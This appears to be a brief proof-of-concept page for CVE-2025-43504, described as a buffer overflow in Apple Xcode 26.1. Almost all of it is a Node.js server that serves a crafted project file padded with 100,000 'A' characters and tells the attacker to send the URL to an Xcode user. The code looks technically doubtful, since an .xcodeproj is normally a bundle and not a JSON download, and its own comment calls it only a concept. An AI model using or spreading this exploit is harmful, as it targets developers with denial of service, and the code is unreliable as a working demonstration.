CVE-2025-43504: Apple Xcode缓冲区溢出导致的拒绝服务漏洞

// CVE-2025-43504 PoC - Xcode Buffer Overflow DoS // Target: Apple Xcode 26.1 // Attack Vector: Network-based exploitation via malicious project file const http = require('http'); const fs = require('fs'); // Generate malicious Xcode project file with oversized data function generateMaliciousProject() { const maliciousContent = 'A'.repeat(100000); // Overflow buffer const projectJson = { objects: { mainFile: { isa: 'PBXFileReference', path: maliciousContent, sourceTree: '<group>', fileEncoding: 4 } } }; return JSON.stringify(projectJson); } // Serve malicious project file const server = http.createServer((req, res) => { console.log('[+] Client connected:', req.socket.remoteAddress); res.writeHead(200, { 'Content-Type': 'application/x-xcodeproj', 'Content-Disposition': 'attachment; filename="Malicious.xcodeproj"' }); res.end(generateMaliciousProject()); console.log('[+] Malicious payload sent'); }); server.listen(8080, () => { console.log('[+] CVE-2025-43504 PoC Server running on port 8080'); console.log('[+] Send this URL to Xcode user: http://<attacker>:8080/'); }); // Note: This PoC demonstrates the attack concept. Actual exploitation // requires specific buffer overflow conditions in Xcode 26.1